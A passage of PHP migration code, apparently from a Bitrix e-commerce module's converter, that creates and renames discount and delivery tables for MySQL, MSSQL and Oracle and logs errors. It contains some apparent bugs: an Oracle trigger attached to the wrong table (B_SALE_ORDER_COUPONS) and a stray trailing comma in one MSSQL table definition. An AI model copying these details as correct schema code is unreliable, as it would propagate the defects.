					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 6: B_SALE_ORDER_COUPONS",
						"DESCRIPTION" => $error,
					));
				}
			}

			if (!$DB->TableExists("b_sale_order_rules"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("CREATE TABLE b_sale_order_rules(
							ID int not null auto_increment,
							MODULE_ID varchar(50) not null,
							ORDER_DISCOUNT_ID int not null,
							ORDER_ID int not null,
							ENTITY_TYPE int not null,
							ENTITY_ID int not null,
							ENTITY_VALUE varchar(255) null,
							COUPON_ID int not null,
							APPLY char(1) not null,
							primary key (ID),
							INDEX IX_SALE_ORDER_RULES_ORD (ORDER_ID)
						)", false)
					)
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_ORDER_RULES
						(
							ID int NOT NULL IDENTITY (1, 1),
							MODULE_ID varchar(50) NOT NULL,
							ORDER_DISCOUNT_ID int NOT NULL,
							ORDER_ID int NOT NULL,
							ENTITY_TYPE int NOT NULL,
							ENTITY_ID int NOT NULL,
							ENTITY_VALUE varchar(255) NULL,
							COUPON_ID int NOT NULL,
							APPLY char(1) NOT NULL
						)")
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE INDEX IX_SALE_ORDER_RULES_ORD ON B_SALE_ORDER_RULES(ORDER_ID)");
						$DB->Query("ALTER TABLE B_SALE_ORDER_RULES ADD CONSTRAINT PK_B_SALE_ORDER_RULES PRIMARY KEY (ID)", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_ORDER_RULES
						(
							ID NUMBER(18) NOT NULL,
							MODULE_ID VARCHAR2(50 CHAR) NOT NULL,
							ORDER_DISCOUNT_ID NUMBER(18) NOT NULL,
							ORDER_ID NUMBER(18) NOT NULL,
							ENTITY_TYPE NUMBER(18) NOT NULL,
							ENTITY_ID NUMBER(18) NOT NULL,
							ENTITY_VALUE VARCHAR2(255 CHAR) NULL,
							COUPON_ID NUMBER(18) NOT NULL,
							APPLY CHAR(1 CHAR) NOT NULL,
							PRIMARY KEY (ID)
						)")
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE INDEX IX_SALE_ORDER_RULES_ORD ON B_SALE_ORDER_RULES(ORDER_ID)");

						$DB->Query("CREATE SEQUENCE SQ_B_SALE_ORDER_RULES INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER", false);
						$DB->Query("CREATE OR REPLACE TRIGGER B_SALE_ORDER_RLS_INSERT
									BEFORE INSERT
									ON B_SALE_ORDER_RULES
									FOR EACH ROW
										BEGIN
											IF :NEW.ID IS NULL THEN
												SELECT SQ_B_SALE_ORDER_RULES.NEXTVAL INTO :NEW.ID FROM dual;
											END IF;
										END;", true
						);
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 6: B_SALE_ORDER_RULES",
							"DESCRIPTION" => $error)
					);
				}
			}

			if (!$DB->TableExists("b_sale_order_discount_data"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("CREATE TABLE b_sale_order_discount_data(
							ID int not null auto_increment,
							ORDER_ID int not null,
							ENTITY_TYPE int not null,
							ENTITY_ID int not null,
							ENTITY_VALUE varchar(255) null,
							ENTITY_DATA mediumtext not null,
							primary key (ID),
							INDEX IX_SALE_DSC_DATA_CMX (ORDER_ID, ENTITY_TYPE)
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_ORDER_DISCOUNT_DATA(
							ID int NOT NULL IDENTITY (1, 1),
							ORDER_ID int NOT NULL,
							ENTITY_TYPE int NOT NULL,
							ENTITY_ID int NOT NULL,
							ENTITY_VALUE varchar(255) NULL,
							ENTITY_DATA text NOT NULL)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE INDEX IX_SALE_DSC_DATA_CMX ON B_SALE_ORDER_DISCOUNT_DATA(ORDER_ID, ENTITY_TYPE)");
						$DB->Query("ALTER TABLE B_SALE_ORDER_DISCOUNT_DATA ADD CONSTRAINT PK_B_SALE_ORDER_DISCOUNT_DATA PRIMARY KEY (ID)", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_ORDER_DISCOUNT_DATA
						(
							ID NUMBER(18) NOT NULL,
							ORDER_ID NUMBER(18) NOT NULL,
							ENTITY_TYPE NUMBER(18) NOT NULL,
							ENTITY_ID NUMBER(18) NOT NULL,
							ENTITY_VALUE VARCHAR2(255 CHAR) NULL,
							ENTITY_DATA CLOB NOT NULL,
							PRIMARY KEY (ID))", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE INDEX IX_SALE_DSC_DATA_CMX ON B_SALE_ORDER_DISCOUNT_DATA(ORDER_ID, ENTITY_TYPE)");

						$DB->Query("CREATE SEQUENCE SQ_B_SALE_ORDER_DISCOUNT_DATA INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER", false);
						$DB->Query("CREATE OR REPLACE TRIGGER B_SALE_ORDER_DSCDT_INSERT
										BEFORE INSERT
										ON B_SALE_ORDER_DISCOUNT_DATA
										FOR EACH ROW
											BEGIN
												IF :NEW.ID IS NULL THEN
													SELECT SQ_B_SALE_ORDER_DISCOUNT_DATA.NEXTVAL INTO :NEW.ID FROM dual;
												END IF;
											END;", true
						);
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 6: B_SALE_ORDER_DISCOUNT_DATA",
							"DESCRIPTION" => $error)
					);
				}
			}
			
			if (!$DB->TableExists("b_sale_order_rules_descr"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("
						CREATE TABLE b_sale_order_rules_descr(
							ID int not null auto_increment,
							MODULE_ID varchar(50) not null,
							ORDER_DISCOUNT_ID int not null,
							ORDER_ID int not null,
							RULE_ID int not null,
							DESCR text not null,
							primary key (ID),
							INDEX IX_SALE_ORDER_RULES_DS_ORD (ORDER_ID)
						)
					", false)
					)
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_ORDER_RULES_DESCR
						(
							ID int NOT NULL IDENTITY (1, 1),
							MODULE_ID varchar(50) NOT NULL,
							ORDER_DISCOUNT_ID int NOT NULL,
							ORDER_ID int NOT NULL,
							RULE_ID int NOT NULL,
							DESCR text NOT NULL
						)")
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE INDEX IX_SALE_ORDER_RULES_DS_ORD ON B_SALE_ORDER_RULES_DESCR(ORDER_ID)");
						$DB->Query("ALTER TABLE B_SALE_ORDER_RULES_DESCR ADD CONSTRAINT PK_B_SALE_ORDER_RULES_DESCR PRIMARY KEY (ID)", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_ORDER_RULES_DESCR
						(
							ID NUMBER(18) NOT NULL,
							MODULE_ID VARCHAR2(50 CHAR) NOT NULL,
							ORDER_DISCOUNT_ID NUMBER(18) NOT NULL,
							ORDER_ID NUMBER(18) NOT NULL,
							RULE_ID NUMBER(18) NOT NULL,
							DESCR CLOB NOT NULL,
							PRIMARY KEY (ID)
						)")
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE INDEX IX_SALE_ORDER_RULES_DS_ORD ON B_SALE_ORDER_RULES_DESCR(ORDER_ID)");

						$DB->Query("CREATE SEQUENCE SQ_B_SALE_ORDER_RULES_DESCR INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER", false);
						$DB->Query("CREATE OR REPLACE TRIGGER B_SALE_ORDER_RULES_DESCR_INSERT
									BEFORE INSERT
									ON B_SALE_ORDER_COUPONS
									FOR EACH ROW
										BEGIN
											IF :NEW.ID IS NULL THEN
												SELECT SQ_B_SALE_ORDER_RULES_DESCR.NEXTVAL INTO :NEW.ID FROM dual;
											END IF;
										END;", true
						);
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 6: B_SALE_ORDER_RULES_DESCR",
							"DESCRIPTION" => $error)
					);
				}
			}
			
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_DELIVERY');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_DISCOUNT');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
			}
			
			$result['DATA'] = $message;
			break;
		case 7:
			// DELIVERY
			if ($DB->TableExists("b_sale_order_delivery_old")  && !$DB->Query("select BASE_PRICE_DELIVERY from b_sale_order_delivery WHERE 1=0", true))
			{
				if ($DB->type == 'MYSQL')
				{
					$DB->Query('DROP TABLE b_sale_order_delivery_old', true);
					$DB->Query('DROP TABLE b_sale_delivery_old', true);
					$DB->Query('DROP TABLE b_sale_delivery_handler_old', true);
				}

				if ($DB->type == 'MSSQL')
				{
					$DB->Query('DROP TABLE B_SALE_ORDER_DELIVERY_OLD', true);
					$DB->Query('DROP TABLE B_SALE_DELIVERY_OLD', true);
					$DB->Query('DROP TABLE B_SALE_DELIVERY_HANDLER_OLD', true);
				}

				if ($DB->type == 'ORACLE')
				{
					$DB->Query('DROP TABLE B_SALE_ORDER_DELIVERY_OLD CASCADE CONSTRAINTS', true);
					$DB->Query('DROP TABLE B_SALE_DELIVERY_OLD CASCADE CONSTRAINTS', true);
					$DB->Query('DROP TABLE B_SALE_DELIVERY_HANDLER_OLD CASCADE CONSTRAINTS', true);
				}
			}

			if (($DB->TableExists("b_sale_order_delivery") || $DB->TableExists("B_SALE_ORDER_DELIVERY")) && !$DB->TableExists("b_sale_order_delivery_req") && !$DB->TableExists("B_SALE_ORDER_DELIVERY_REQ"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("ALTER TABLE b_sale_order_delivery RENAME b_sale_order_delivery_req", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("sp_rename B_SALE_ORDER_DELIVERY, B_SALE_ORDER_DELIVERY_REQ", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("ALTER TABLE B_SALE_ORDER_DELIVERY RENAME TO B_SALE_ORDER_DELIVERY_REQ", true))
						$error .= "<br>".$DB->GetErrorMessage();

					$DB->Query("DROP SEQUENCE SQ_B_SALE_ORDER_DELIVERY", true);
					$DB->Query("DROP INDEX IX_BSOD_ORDER_ID", true);

					$DB->Query("CREATE SEQUENCE SQ_B_SALE_ORDER_DELIVERY_REQ INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER", true);
					$DB->Query("CREATE INDEX IX_BSODR_ORDER_ID ON B_SALE_ORDER_DELIVERY_REQ(ORDER_ID)", true);
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 7: RENAME B_SALE_ORDER_DELIVERY",
							"DESCRIPTION" => $error)
					);
				}
			}

			if ($DB->TableExists("b_sale_delivery"))
			{
				if (!$DB->Query("SELECT CONVERTED FROM b_sale_delivery WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_delivery ADD CONVERTED char(1) not null default 'N'", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "MSSQL")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_DELIVERY ADD CONVERTED CHAR(1) NOT NULL CONSTRAINT DF_B_S_D_CONVERTED DEFAULT 'N'", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_DELIVERY ADD CONVERTED CHAR(1) DEFAULT 'N' NOT NULL", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}

					if (!empty($error))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 7: B_SALE_DELIVERY.CONVERTED",
							"DESCRIPTION" => $error,
						));
					}
				}
			}

			if ($DB->TableExists("b_sale_delivery_handler"))
			{
				if (!$DB->Query("SELECT CONVERTED FROM b_sale_delivery_handler WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_delivery_handler ADD CONVERTED char(1) not null default 'N'", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "MSSQL")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_DELIVERY_HANDLER ADD CONVERTED CHAR(1) NOT NULL CONSTRAINT DF_B_S_D_H_CONVERTED DEFAULT 'N'", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_DELIVERY_HANDLER ADD CONVERTED CHAR(1) DEFAULT 'N' NOT NULL", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}

					if (!empty($error))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 7: RENAME B_SALE_DELIVERY_HANDLER",
							"DESCRIPTION" => $error,
						));
					}
				}
			}

			if(!$DB->TableExists("b_sale_delivery_srv"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("create table b_sale_delivery_srv
						(
							ID int NOT NULL AUTO_INCREMENT,
							CODE varchar(50) NULL,
							PARENT_ID int NULL,
							NAME varchar(255) NOT NULL,
							ACTIVE char(1) NOT NULL,
							DESCRIPTION text NULL,
							SORT int NOT NULL,
							LOGOTIP int NULL,
							CONFIG longtext NULL,
							CLASS_NAME varchar(255) NOT NULL,
							CURRENCY char(3) NOT NULL,
							TRACKING_PARAMS VARCHAR(255) NULL,
							primary key (ID),							
							index IX_BSD_SRV_CODE(CODE),
							index IX_BSD_SRV_PARENT_ID(PARENT_ID)
						)", false)
					)
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_DELIVERY_SRV
						(
							ID INT NOT NULL IDENTITY(1,1),
							CODE VARCHAR(50) NULL,
							PARENT_ID INT NULL,
							NAME VARCHAR(255) NOT NULL,
							ACTIVE CHAR(1) NOT NULL,
							DESCRIPTION TEXT NULL,
							SORT INT NOT NULL,
							LOGOTIP INT NULL,
							CONFIG TEXT NULL,
							CLASS_NAME VARCHAR(255) NOT NULL,
							CURRENCY CHAR(3) NOT NULL,
							TRACKING_PARAMS VARCHAR(255) NULL,
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("ALTER TABLE B_SALE_DELIVERY_SRV ADD CONSTRAINT PK_B_SALE_DELIVERY_SRV PRIMARY KEY (ID)", false);
						$DB->Query("CREATE INDEX IX_BSD_SRV_PARENT_ID ON B_SALE_DELIVERY_SRV(PARENT_ID)", false);
						$DB->Query("CREATE INDEX IX_BSD_SRV_CODE ON B_SALE_DELIVERY_SRV(CODE)", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_DELIVERY_SRV
						(
							ID NUMBER(18) NOT NULL,
							CODE VARCHAR2(50 CHAR) NULL,
							PARENT_ID NUMBER(18) NOT NULL,
							NAME VARCHAR2(255 CHAR) NULL,
							ACTIVE CHAR(1 CHAR) NOT NULL,
							DESCRIPTION CLOB NULL,
							SORT NUMBER(11) DEFAULT 100 NOT NULL,
							LOGOTIP NUMBER (11) NULL,
							CONFIG CLOB NULL,
							CLASS_NAME VARCHAR2(255 CHAR) NULL,
							CURRENCY CHAR(3 CHAR) NOT NULL,
							TRACKING_PARAMS VARCHAR(255 CHAR) NULL,
							PRIMARY KEY (ID)
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE SEQUENCE SQ_B_SALE_DELIVERY_SRV INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER", false);
						$DB->Query("CREATE OR REPLACE TRIGGER B_SALE_DELIVERY_SRV_INSERT
						BEFORE INSERT
						ON B_SALE_DELIVERY_SRV
						FOR EACH ROW
						BEGIN
							IF :NEW.ID IS NULL THEN
								SELECT SQ_B_SALE_DELIVERY_SRV.NEXTVAL INTO :NEW.ID FROM dual;
							END IF;
						END;", false);
						$DB->Query("CREATE INDEX IX_BSD_SRV_PARENT_ID ON B_SALE_DELIVERY_SRV (PARENT_ID)", false);
						$DB->Query("CREATE INDEX IX_BSD_SRV_CODE ON B_SALE_DELIVERY_SRV (CODE)", false);
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 7: B_SALE_DELIVERY_SRV",
						"DESCRIPTION" => $error,
					));
				}
			}

			if (!$DB->TableExists("b_sale_delivery_es"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("CREATE TABLE b_sale_delivery_es(
						ID int NOT NULL AUTO_INCREMENT,
						CODE varchar(50) NULL,
						NAME varchar(255) NOT NULL,
						DESCRIPTION varchar(255) NULL,
						CLASS_NAME varchar(255) NOT NULL,
						PARAMS text NULL,
						RIGHTS char(3) NOT NULL,
						DELIVERY_ID int NOT NULL,
						INIT_VALUE varchar(255) NULL,
						ACTIVE char(1) NOT NULL,
						SORT int DEFAULT 100,
						primary key (ID),
						INDEX IX_BSD_ES_DELIVERY_ID (DELIVERY_ID))", false)
					)
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_DELIVERY_ES
						(
							ID INT NOT NULL IDENTITY(1,1),
							CODE VARCHAR(50) NULL,
							NAME VARCHAR(255) NOT NULL,
							DESCRIPTION VARCHAR(255) NULL,
							CLASS_NAME VARCHAR(255) NOT NULL,
							PARAMS TEXT NULL,
							RIGHTS CHAR(3) NOT NULL,
							DELIVERY_ID INT NOT NULL,
							INIT_VALUE VARCHAR(255) NULL,
							ACTIVE CHAR(1) NOT NULL,
							SORT INT DEFAULT 100
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("ALTER TABLE B_SALE_DELIVERY_ES ADD CONSTRAINT PK_B_SALE_DELIVERY_ES PRIMARY KEY (ID)", false);
						$DB->Query("CREATE INDEX IX_BSD_ES_DELIVERY_ID ON B_SALE_DELIVERY_ES(DELIVERY_ID)", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_DELIVERY_ES
						(
							ID NUMBER(18) NOT NULL,
							CODE VARCHAR2(50 CHAR) NULL,
							NAME VARCHAR2(255 CHAR) NULL,
							DESCRIPTION VARCHAR2(255 CHAR) NULL,
							CLASS_NAME VARCHAR2(255 CHAR) NULL,
							PARAMS VARCHAR2(4000 CHAR) NULL,
							RIGHTS CHAR(3 CHAR) NOT NULL,
							DELIVERY_ID NUMBER(18) NOT NULL,
							INIT_VALUE VARCHAR2(255 CHAR) NULL,
							ACTIVE CHAR(1 CHAR) NOT NULL,
							SORT NUMBER(11) DEFAULT 100 NOT NULL,
							PRIMARY KEY (ID)
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE INDEX IX_BSD_ES_DELIVERY_ID ON B_SALE_DELIVERY_ES (DELIVERY_ID)", false);

						$DB->Query("CREATE SEQUENCE SQ_B_SALE_DELIVERY_ES INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER", false);
						$DB->Query("CREATE OR REPLACE TRIGGER B_SALE_DELIVERY_ES_INSERT
							BEFORE INSERT
							ON B_SALE_DELIVERY_ES
							FOR EACH ROW
							BEGIN
								IF :NEW.ID IS NULL THEN
									SELECT SQ_B_SALE_DELIVERY_ES.NEXTVAL INTO :NEW.ID FROM dual;
								END IF;
							END;", false);
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 7: B_SALE_DELIVERY_ES",
						"DESCRIPTION" => $error,
					));
				}
			}

			if (!$DB->TableExists("b_sale_order_delivery"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("create table if not exists b_sale_order_delivery (
								ID INT(11) NOT NULL AUTO_INCREMENT,
								ORDER_ID INT(11) NOT NULL,
								ACCOUNT_NUMBER varchar(100) null,
								DATE_INSERT DATETIME NOT NULL,
								DATE_REQUEST DATETIME NULL DEFAULT NULL,
								DATE_UPDATE DATETIME NULL DEFAULT NULL,
								DELIVERY_LOCATION VARCHAR(50) NULL DEFAULT NULL,
								PARAMS TEXT NULL,
								STATUS_ID CHAR(2) NOT NULL,
								PRICE_DELIVERY DECIMAL(18,4) NULL DEFAULT NULL,
								CUSTOM_PRICE_DELIVERY CHAR(1) NULL DEFAULT NULL,
								BASE_PRICE_DELIVERY DECIMAL(18,4) NULL DEFAULT NULL,
								ALLOW_DELIVERY CHAR(1) NULL DEFAULT 'N',
								DATE_ALLOW_DELIVERY DATETIME NULL DEFAULT NULL,
								EMP_ALLOW_DELIVERY_ID INT(11) NULL DEFAULT NULL,
								DEDUCTED CHAR(1) NULL DEFAULT 'N',
								DATE_DEDUCTED DATETIME NULL DEFAULT NULL,
								EMP_DEDUCTED_ID INT(11) NULL DEFAULT NULL,
								REASON_UNDO_DEDUCTED VARCHAR(255) NULL DEFAULT NULL,
								RESERVED CHAR(1) NULL DEFAULT NULL,
								DELIVERY_ID INT(11) NOT NULL,
								DELIVERY_DOC_NUM VARCHAR(20) NULL DEFAULT NULL,
								DELIVERY_DOC_DATE DATETIME NULL DEFAULT NULL,
								TRACKING_NUMBER VARCHAR(255) NULL DEFAULT NULL,
								XML_ID VARCHAR(255) NULL DEFAULT NULL,
								DELIVERY_NAME VARCHAR(128) NULL DEFAULT NULL,
								CANCELED CHAR(1) NULL DEFAULT 'N',
								DATE_CANCELED DATETIME NULL DEFAULT NULL,
								EMP_CANCELED_ID INT(11) NULL DEFAULT NULL,
								REASON_CANCELED VARCHAR(255) NULL DEFAULT '',
								MARKED CHAR(1) NULL DEFAULT NULL,
								DATE_MARKED DATETIME NULL DEFAULT NULL,
								EMP_MARKED_ID INT(11) NULL DEFAULT NULL,
								REASON_MARKED VARCHAR(255) NULL DEFAULT NULL,
								CURRENCY VARCHAR(3) NULL DEFAULT NULL,
								SYSTEM CHAR(1) NOT NULL DEFAULT 'N',
								RESPONSIBLE_ID int(11) DEFAULT NULL,
								EMP_RESPONSIBLE_ID int(11) DEFAULT NULL,
								DATE_RESPONSIBLE_ID datetime DEFAULT NULL,
								COMMENTS text,
								DISCOUNT_PRICE DECIMAL(18,4) NULL,
								COMPANY_ID int(11) DEFAULT NULL,
								PRIMARY KEY (ID),
								TRACKING_STATUS INT(11) NULL,
								TRACKING_DESCRIPTION VARCHAR(255) NULL,
								TRACKING_LAST_CHECK DATETIME NULL,
								TRACKING_LAST_CHANGE DATETIME NULL,								
								INDEX IX_BSOD_ORDER_ID (ORDER_ID)
							)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("create table B_SALE_ORDER_DELIVERY(
								ID INT NOT NULL IDENTITY(1, 1),
								ORDER_ID INT NOT NULL,
								ACCOUNT_NUMBER varchar(100) NULL,
								DATE_INSERT DATETIME NOT NULL,
								DATE_REQUEST DATETIME NULL,
								DATE_UPDATE DATETIME NULL,
								DELIVERY_LOCATION VARCHAR(50) NULL,
								PARAMS TEXT NULL,
								STATUS_ID CHAR(2) NOT NULL,
								PRICE_DELIVERY DECIMAL(18,4) NULL,
								CUSTOM_PRICE_DELIVERY CHAR(1) NULL,
								BASE_PRICE_DELIVERY DECIMAL(18,4) NULL,
								ALLOW_DELIVERY CHAR(1) NULL CONSTRAINT DF_B_SALE_ORDER_DELIVERY_ALLOW_DELIVERY DEFAULT 'N',
								DATE_ALLOW_DELIVERY DATETIME NULL,
								EMP_ALLOW_DELIVERY_ID INT NULL,
								DEDUCTED CHAR(1) NULL CONSTRAINT DF_B_SALE_ORDER_DELIVERY_DEDUCTED DEFAULT 'N',
								DATE_DEDUCTED DATETIME NULL,
								EMP_DEDUCTED_ID INT NULL,
								REASON_UNDO_DEDUCTED VARCHAR(255) NULL ,
								RESERVED CHAR(1) NULL,
								DELIVERY_ID INT NOT NULL,
								DELIVERY_DOC_NUM VARCHAR(20) NULL,
								DELIVERY_DOC_DATE DATETIME NULL,
								TRACKING_NUMBER VARCHAR(255) NULL,
								XML_ID VARCHAR(255) NULL,
								DELIVERY_NAME VARCHAR(128) NULL,
								CANCELED CHAR(1) NULL CONSTRAINT DF_B_SALE_ORDER_DELIVERY_CANCELED DEFAULT 'N',
								DATE_CANCELED DATETIME NULL,
								EMP_CANCELED_ID INT NULL,
								REASON_CANCELED VARCHAR(255) NULL CONSTRAINT DF_B_SALE_ORDER_DELIVERY_REASON_CANCELED DEFAULT '',
								MARKED CHAR(1) NULL,
								DATE_MARKED DATETIME NULL,
								EMP_MARKED_ID INT NULL,
								REASON_MARKED VARCHAR(255) NULL,
								CURRENCY VARCHAR(3) NULL,
								SYSTEM CHAR(1) NOT NULL CONSTRAINT DF_B_SALE_ORDER_DELIVERY_SYSTEM DEFAULT 'N',
								RESPONSIBLE_ID int NULL,
								EMP_RESPONSIBLE_ID int NULL,
								DATE_RESPONSIBLE_ID datetime NULL,
								COMMENTS text,
								DISCOUNT_PRICE DECIMAL(18,4) NULL,
								COMPANY_ID int NULL,
								TRACKING_STATUS INT NULL,
								TRACKING_DESCRIPTION VARCHAR(255) NULL,
								TRACKING_LAST_CHECK DATETIME NULL,
								TRACKING_LAST_CHANGE DATETIME NULL								
							)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						if ($DB->TableExists('b_sale_order_delivery_old'))
							$DB->Query("ALTER TABLE B_SALE_ORDER_DELIVERY_OLD DROP CONSTRAINT PK_B_SALE_ORDER_DELIVERY", false);

						if ($DB->TableExists('b_sale_order_delivery_req'))
							$DB->Query("ALTER TABLE B_SALE_ORDER_DELIVERY_REQ DROP CONSTRAINT PK_B_SALE_ORDER_DELIVERY", false);

						$DB->Query("ALTER TABLE B_SALE_ORDER_DELIVERY ADD CONSTRAINT PK_B_SALE_ORDER_DELIVERY PRIMARY KEY (ID)", false);
						$DB->Query("CREATE INDEX IX_BSOD_ORDER_ID ON B_SALE_ORDER_DELIVERY(ORDER_ID)", false);
						// $DB->Query("CREATE UNIQUE INDEX IXS_DLV_ACCOUNT_NUMBER ON B_SALE_ORDER_DELIVERY(ACCOUNT_NUMBER)", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("create table B_SALE_ORDER_DELIVERY(
								ID NUMBER(18) NOT NULL,
								ORDER_ID NUMBER(18) NOT NULL,
								ACCOUNT_NUMBER VARCHAR2(100 CHAR) NULL,
								DATE_INSERT DATE NOT NULL,
								DATE_REQUEST DATE NULL,
								DATE_UPDATE DATE NULL,
								DELIVERY_LOCATION VARCHAR2(50 CHAR) NULL,
								PARAMS CLOB NULL,
								STATUS_ID CHAR(2 CHAR) NOT NULL,
								PRICE_DELIVERY DECIMAL(18,4) NULL,
								CUSTOM_PRICE_DELIVERY CHAR(1 CHAR) NULL,
								BASE_PRICE_DELIVERY DECIMAL(18,4) NULL,
								ALLOW_DELIVERY CHAR(1 CHAR) DEFAULT 'N' NULL,
								DATE_ALLOW_DELIVERY DATE NULL,
								EMP_ALLOW_DELIVERY_ID NUMBER(18) NULL,
								DEDUCTED CHAR(1 CHAR) DEFAULT 'N' NULL,
								DATE_DEDUCTED DATE NULL,
								EMP_DEDUCTED_ID NUMBER(18) NULL,
								REASON_UNDO_DEDUCTED VARCHAR2(255 CHAR) NULL ,
								RESERVED CHAR(1 CHAR) NULL,
								DELIVERY_ID NUMBER(18) NOT NULL,
								DELIVERY_DOC_NUM VARCHAR2(20 CHAR) NULL,
								DELIVERY_DOC_DATE DATE NULL,
								TRACKING_NUMBER VARCHAR2(255 CHAR) NULL,
